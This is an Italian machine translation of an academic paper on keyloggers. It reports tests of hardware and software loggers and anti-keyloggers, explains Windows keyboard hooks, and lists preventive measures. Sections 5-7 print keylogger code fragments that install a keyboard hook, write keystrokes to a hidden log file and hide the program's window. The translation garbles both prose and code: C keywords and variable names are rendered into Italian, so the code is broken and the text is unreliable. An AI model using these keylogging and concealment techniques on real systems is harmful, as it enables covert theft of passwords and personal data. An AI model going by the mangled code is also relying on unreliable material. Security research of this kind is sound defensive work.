Registratore di tasti: L'Trascurato Minaccia per la Sicurezza del Computer
da Kishore Subramanyam, Charles E. Frank, Donald F. Galli
Dipartimento di Matematica e informatica
Northern Kentucky University
Highland Heights, KY 41099
{subramanyamk, frank, galli}@nku.edu
ABSTRACT
Registratore di tasti hardware o software che registra i tasti premuti. Essi rappresentano una seria minaccia per la privacy degli utenti di computer. Abbiamo installato e testato vari Registratore di tasti ed esaminato Registratore di tasti codice. Abbiamo anche rivisto ciò che è noto circa i Registratore di tasti, principalmente da fonti Internet. Questo documento fornisce un'analisi dei meccanismi Registratore di tasti uso e del perché di rilevamento è difficile. Forniamo una serie di raccomandazioni sulla procedura gli utenti di computer devono prendere.
1. INTRODUZIONE
Registratore di tasti registra ogni battitura a computer utente. Essi sono commercializzati per monitorare l'utilizzo del computer dei figli o per la cattura di un coniuge barare. Essi sono utilizzati per rubare carte di credito e numeri di conti bancari, password e nomi utente. Essi sono utilizzati anche per il controllo dei dipendenti.
I Registratore di tasti possono essere installati da l'accesso fisico al computer o programmi scaricati. Il loro ingombro, in termini di memoria e processore li rende praticamente introvabile. Registratore di tasti può e-mail o ftp il file contenente le sequenze di tasti indietro di una persona spionaggio.
I Registratore di tasti non ricevono la stessa attenzione come virus e worm. Lo standard di riferimento sul virus, worm e Cavalli di Troia [4] dedica un paragrafo ai Registratore di tasti. Tra sicurezza del computer, libri, [2] appena accenna Registratore di tasti e [1] e [9] non parlarne affatto.
Due recenti casi di evidenziare il rischio rappresentato da Registratore di tasti. Nel febbraio 2003, David Boudreau, un Boston studente di College, è stato addebitato con l'installazione di Registratore di tasti su più di 100 università di computer [10]. Ha usato informazioni su docenti, studenti e personale per rubare $2,000. Nel luglio del 2003, Juju, Jiang si è dichiarato colpevole per l'installazione di Registratore di tasti in venti Kinko's stores in New York [7]. Egli in remoto catturato sequenze di tasti e aveva rubato i nomi utente e le password per due anni prima di essere catturato.
2. HARDWARE Registratore di tasti
Hardware Registratore di tasti vengono in varie forme e forme. Essi possono essere un accessorio esterno tra la tastiera e la porta. Questi sono un pezzo di cavo con un piccolo cilindro a colori per abbinare il cavo della tastiera. Prendono meno di un minuto per l'installazione. Dato che sono posti sul retro del computer, che sono difficili da individuare. Inoltre, hardware Registratore di tasti può essere un dispositivo che viene posizionato all'interno dell'unità, accanto alla porta della tastiera o all'interno della tastiera stessa. Questi dispositivi sono fisicamente invisibile per l'utente del computer.
Molti fornitori vendono hardware Registratore di tasti. Abbiamo testato il $99 KeyGhost Std con 512 kb di memoria flash [5]. Contrariamente alle nostre aspettative, non è stato rilevato il KeyGhost collegato tra la tastiera e la porta di I/O come un nuovo dispositivo, né mostrare nell'elenco delle periferiche.
3. Registratore di tasti SOFTWARE
Una varietà di Registratore di tasti possono essere trovati attraverso una ricerca per "keylogger" che utilizza un motore di ricerca. Registratore di tasti Software può essere scaricato gratuitamente da qualsiasi Registratore di tasti forum [3]. Per questo progetto abbiamo cercato commerciali così come il free software Registratore di tasti.
Un software Registratore di tasti può essere installato su una macchina con privilegi di Amministratore. Essi sono disponibili in varie forme. Un Registratore di tasti può essere un eseguibile scritto in Visual Basic. Può essere un driver di periferica che sostituisce l'esistente di I/O driver incorporati con chiave funzionalità di registrazione. Più comunemente, i Registratore di tasti sono scritti in C/C++ utilizzando Windows ganci.
Abbiamo testato Raytown, Fantasma, Amecisco, KmInt21 Registratore di tasti software. Ognuno di loro ha lavorato in modo diverso ma alla fine il risultato era lo stesso. Hanno registrato le sequenze di tasti e click del mouse e scritto su un file. Avevano la possibilità di criptare e decriptare i file di registro e la possibilità di inviare il file in una destinazione in tutto il Internet.
Nessuno di loro ha mostrato nel Task Manager, o nella lista dei processi. Il Registratore di tasti' file di log sono stati nascosti. Questi file di registro erano difficili da distinguere dal file del sistema operativo, anche quando
fare un elenco di directory di file nascosti.
4. ANTI-KEYLOGGER
Anti-keylogger è un software che pretende di individuare Registratore di tasti. Abbiamo installato e testato Raytown e Spydex anti-keylogger. Anti-keylogger non rilevare qualsiasi software di Registratore di tasti o il KeyGhost hardware Registratore di tasti. L'unica eccezione è stata la Raytown anti-keylogger rilevato proprio Raytown Registratore di tasti. Il motivo è che ci sono molti modi per i Registratore di tasti per lavoro e nascondersi.
Internet gruppi di discussione [3] si noti che l'anti-keylogger che rilevare molti Registratore di tasti hanno un tasso molto elevato di falsi positivi. Questi anti-keylogger programmi di monitoraggio che utilizza Windows ganci e ganci sono legittimamente utilizzato da molte funzioni.
5. WINDOWS GANCI
Un hook di Windows [3, 8], è il cuore di molti Registratore di tasti. Un gancio è un punto nel sistema di gestione dei messaggi di meccanismo per cui un'applicazione può installare una procedura di intercettare il traffico di messaggi prima di raggiungere una procedura di Finestra di destinazione. Una routine di hook ha il seguente prototipo.
LRESULT CALLBACK HookProc(
int nCode, // consente di specificare l'azione da eseguire
WPARAM wParam, // parametro a seconda nCode
LPARAM lParam // parametro a seconda nCode
);
Un gancio catena è una lista di puntatori a gancio procedure. Quando un messaggio viene associato un particolare tipo di gancio, il sistema passa il messaggio per ogni routine di hook cui fa riferimento il gancio della catena, uno dopo l'altro.
Una routine di hook, in grado di monitorare o modificare un messaggio che passa attraverso una catena di aggancio. Può anche impedire che il messaggio da raggiungere il prossimo routine di hook o la procedura di finestra di destinazione.
Il SetWindowsHookEx funzione installa un'applicazione definita dall'routine di hook all'inizio della catena di aggancio. Si ha il seguente prototipo di funzione:
HHOOK SetWindowsHookEx(
int idHook, // specifica il tipo di gancio
HOOKPROC lpfn, // puntatore alla routine di hook
HINSTANCE hMod, // puntatore alla dll che contiene la routine di hook
DWORD dwThreadId // identificatore del thread associato
);
Abbiamo esaminato il codice sorgente di alcuni Registratore di tasti trovato in [6]. Se si impara a utilizzare Windows ganci, Registratore di tasti non sono difficili da scrivere. Essi non richiedono molto codice.
Qui è il InstallHook funzione da uno dei Registratore di tasti. Associa i file di registro e installa la tastiera di registrazione procedura KeyboardProc nel gancio della catena chiamando SetWindowsHookEx.
BOOL WINAPI InstallHook(BOOL sovrascrivere)
{
se(sovrascrivere) // sovrascrive il file di log?
{
SetFileAttributes((LPCTSTR)nome del file,
FILE_ATTRIBUTE_ARCHIVE);
f1 = fopen(filename, "w");
fclose(f1);
}
// imposta la proprietà hidden per il file di log
SetFileAttributes((LPCTSTR)nome del file,
FILE_ATTRIBUTE_HIDDEN|
FILE_ATTRIBUTE_SYSTEM);
// chiamata a vincere API per installare il gancio
hkb = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyboardProc,hInstance,0);
return TRUE;
}
6. IL WH_KEYBOARD GANCIO
Dei quindici diversi tipi di hook, WH_KEYBOARD e WH_MOUSE sono importanti per la creazione di un Registratore di tasti. Descriviamo il WH_KEYBOARD tipo di gancio. Il WH_KEYBOARD gancio permette un'applicazione per monitorare il traffico di messaggi per il WM_KEYDOWN e WM_KEYUP messaggi che stanno per essere restituiti a cura del GetMessage o PeekMessage funzioni. Questo gancio può essere utilizzato per monitorare l'input da tastiera inviato a una coda di messaggi tramite il KeyboardProc routine di hook. Il sistema operativo si chiama questa procedura ogni volta che un'applicazione chiama la funzione GetMessage o PeekMessage funzione e c'è un messaggio di tastiera (WM_KEYUP o WM_KEYDOWN) per essere trattati. Si ha il seguente prototipo di funzione:
LRESULT CALLBACK KeyboardProc(
int codice, // specifica la modalità di elaborazione di un messaggio
WPARAM wParam, // virtual-key codice di generazione chiavi messaggio
LPARAM lParam // numero di ripetizioni, il codice di scansione, esteso-chiave di bandiera,
// codice del contesto, chiave precedenti-stato di bandiera
// e dello stato di transizione bandiera
);
Qui è il codice di KeyboardProc da uno dei Registratore di tasti. Si apre il file di registro e scrive il carattere. Quando necessario, si chiama il ToAscii funzione di tradurre virtuale specificato-codice della chiave e tastiera dello stato per il corrispondente carattere o i caratteri.
LRESULT WINAPI RICHIAMATA KeyboardProc(
int nCode, WPARAM wParam,
LPARAM lParam)
{
char ch;
char locname l'[80];
strcpy(locname l',filename);
if (((DWORD)lParam & 0 x 40000000
&&(HC_ACTION==nCode))
{
if((wParam==VK_SPACE)||
(wParam==VK_RETURN)||
(wParam>=0x2f ) &&
(wParam<=0x100))
{
f1=fopen(locname l',"a+");
se (wParam==VK_RETURN)
{
ch='\n';
// copia il carattere del file di log
fwrite(&cat,1,1,f1);
}
altro
{
// array riceve i dati di stato per ogni tasto virtuale
BYTE ks[256];
GetKeyboardState(ks);
PAROLA w;
UINT effettuate;
scansione=0;
ToAscii(wParam,scansione,
ks&w,0);
ch =char(w);
// copia il carattere del file di log
fwrite(&cat,1,1,f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx(
hkb, nCode, wParam, lParam );
return RetVal;
}
Quando si verifica un evento che viene monitorato da un particolare tipo di gancio, il sistema operativo richiama la procedura all'inizio della catena di aggancio. Ogni routine di hook catena determina se passa l'evento per la procedura successiva. Una routine di hook passa un evento per la procedura successiva chiamando il CallNextHookEx funzione.
7. NASCONDERE IL Registratore di tasti
Ci sono molti modi per nascondere l'esecuzione di un Registratore di tasti in task manager o l'elenco di eventuali responsabili. Qui è un modo per nascondere l'apertura di una finestra nascosta in fase di start up e di impostazione dei parametri richiesti.
WNDCLASSEX wincl;
wincl.hInstance = hInstance;
wincl.lpszClassName = nome;
wincl.lpfnWndProc = WndProc;
// Crea tutte le proprietà della finestra a zero.
// Questo renderà invisibile la finestra.
wincl.stile = 0;
wincl.cbSize = sizeof(WNDCLASSEX);
wincl.hIcon = NULL;
wincl.hIconSm = NULL;
wincl.hCursor = NULL;
wincl.lpszMenuName = NULL;
wincl.cbClsExtra = 0;
wincl.campi cbwndextra = 0;
wincl.hbrBackground = 0;
wincl.lpszMenuName = NULL;
if(!RegisterClassEx(&wincl)) return 0;
// Rendere tutti i parametri di visualizzazione
/ / e.g altezza e larghezza) pari a zero.
// In questo modo sarà invisibile dalla barra delle applicazioni
hwnd = CreateWindowEx(0,(LPCTSTR)nome,"",
0,0,0,0,0,HWND_DESKTOP,NULL,
hInstance,NULL);
ShowWindow(hwnd,SW_HIDE);
8. MISURE PREVENTIVE
Abbiamo trovato che i Registratore di tasti sono praticamente impossibile per tenere traccia di una volta installato. Tuttavia, ci sono diverse misure preventive che possono essere adottate.
1. Maggior parte degli utenti Windows devono avere privilegi ristretti facendo parte del gruppo di Utenti.
2. L'Amministratore del gruppo dovrebbe avere molto pochi soggetti, e che devono possedere una forte politica di password.
3. Nessuno dovrebbe mai connettersi a Internet o anche di una rete interna mentre si è connessi al computer come amministratore. Questo dà la rete di intercettazioni carte blanche l'accesso alla macchina e la possibilità di installare in remoto software.
4. Porta della tastiera del computer devono essere controllati per vedere se l'hardware Registratore di tasti è collegato.
9. CONCLUSIONE
I Registratore di tasti sono semplici da scrivere e semplice da installare. Essi sono facilmente acquisita la navigazione in Internet [3, 6], o può essere acquistato ad un prezzo modesto. Anti-keylogger sono inefficaci. Il meglio che si può fare per prevenire la chiave di registrazione è l'adozione di buone pratiche di sicurezza e di eseguire controlli fisici per l'hardware Registratore di tasti.
10. RIFERIMENTI
[1] Cole, Eric, Gli Hacker Attenzione, New Riders Publishing, 2002.
[2] Garfinkel, S., Spafford, G., e Schwartz, A., & Unix Pratica Internet Security, O'Reilly & Associates, 3 ° edizione, 2003.
[3] Google gruppi, http://www.google.com/groups
[4] Grimes, Roger A., Malicious Mobile Code, O'Reilly & Associates, 2001, p. 190).
[5] Keyghost, http://www.keyghost.com
[6] Registratore di tasti codice sorgente, http://www.planetsourcecode.com
[7] "Kinko's spyware caso mette in evidenza il rischio di terminali Internet pubblici",
http://www.siliconvalley.com/mld/siliconvalley/news/6359407.htm
[8] Microsoft developer network, http://msdn.Microsoft.com
[9] Pfleeger, C. e Pfleeger, S., Sicurezza Informatica, 3rd edition, Prentice Hall, 2003.
[10] "Studente in carica dopo il college computer violati", http://www.xatrix.org/article2641.html
Data di pubblicazione: